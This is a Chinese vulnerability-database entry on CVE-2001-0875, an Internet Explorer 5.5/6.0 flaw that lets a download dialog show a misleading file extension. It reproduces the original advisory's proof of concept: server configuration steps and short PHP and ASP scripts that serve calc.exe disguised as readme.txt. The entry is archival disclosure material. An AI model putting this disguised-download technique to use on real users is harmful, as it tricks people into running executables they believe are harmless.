Internet Explorer漏洞

Internet Explorer漏洞

漏洞ID 1106525 漏洞类型 未知
发布时间 2001-11-26 更新时间 2005-05-02
图片[1]-Internet Explorer漏洞-安全小百科CVE编号 CVE-2001-0875
图片[2]-Internet Explorer漏洞-安全小百科CNNVD-ID CNNVD-200111-035
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/21164
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200111-035
|漏洞详情
InternetExplorer5.5和6.0版本存在漏洞。远程攻击者可以利用该漏洞导致文件下载对话框误传对话框文件名,误导用户认为正在下载安全文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/3597/info

It is possible for a malicious webmaster, hosting files on an website, to spoof file extensions for users of Internet Explorer. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the Download dialog.

When including a certain string of characters between the filename and the actual file extension, IE will display the specified misleading file extension type.

The end result is that a malicious webmaster is able to entice a user to open or save arbitrary files to their local system.

* It has been reported that patched systems may still be vulnerable to this issue. If the attacker composes a .hta file, using the methods described above, it is possible for the malicious file to go undetected by patched systems. 

With an apache/php server add .txt to the already existing .php extension in the apache.conf file, so that apache will recognise .txt extensions as php script files.

1. Copy the real windows calc.exe from a windows system to the html root dir.

2. Copy the readme.txt file below to the same html root dir.

3. go to the url http://yourserver/readme.txt

You will see the same behavior mentioned in the previous alert.

FILE <readme.txt> BEGIN ----
<?php
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=calc.exe");
readfile("calc.exe");
?>
FILE <readme.txt> END ----

"Jonathan G. Lampe" <[email protected]> submitted this example in ASP for IIS webservers:

<%

Const adTypeBinary = 1
Dim strFilePath

Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"

strFilePath = Server.MapPath(".") & "calc.exe"

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath

Response.BinaryWrite objStream.Read

objStream.Close
Set objStream = Nothing

%>
|参考资料

来源:XF
名称:ie-file-download-ext-spoof(7636)
链接:http://xforce.iss.net/static/7636.php
来源:BID
名称:3597
链接:http://www.securityfocus.com/bid/3597
来源:BUGTRAQ
名称:20011126FileextensionsspoofableinMSIEdownloaddialog
链接:http://www.securityfocus.com/archive/1/245594
来源:MS
名称:MS01-058
链接:http://www.microsoft.com/technet/security/bulletin/ms01-058.asp
来源:USGovernmentResource:oval:org.mitre.oval:def:1014
名称:oval:org.mitre.oval:def:1014
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:1014

相关推荐: PHPWebFileManager 2.0 – ‘index.php’ Directory Traversal

PHPWebFileManager 2.0 – ‘index.php’ Directory Traversal 漏洞ID 1054259 漏洞类型 发布时间 2003-11-17 更新时间 2003-11-17 CVE编号 N/A CNNVD-ID N/A 漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享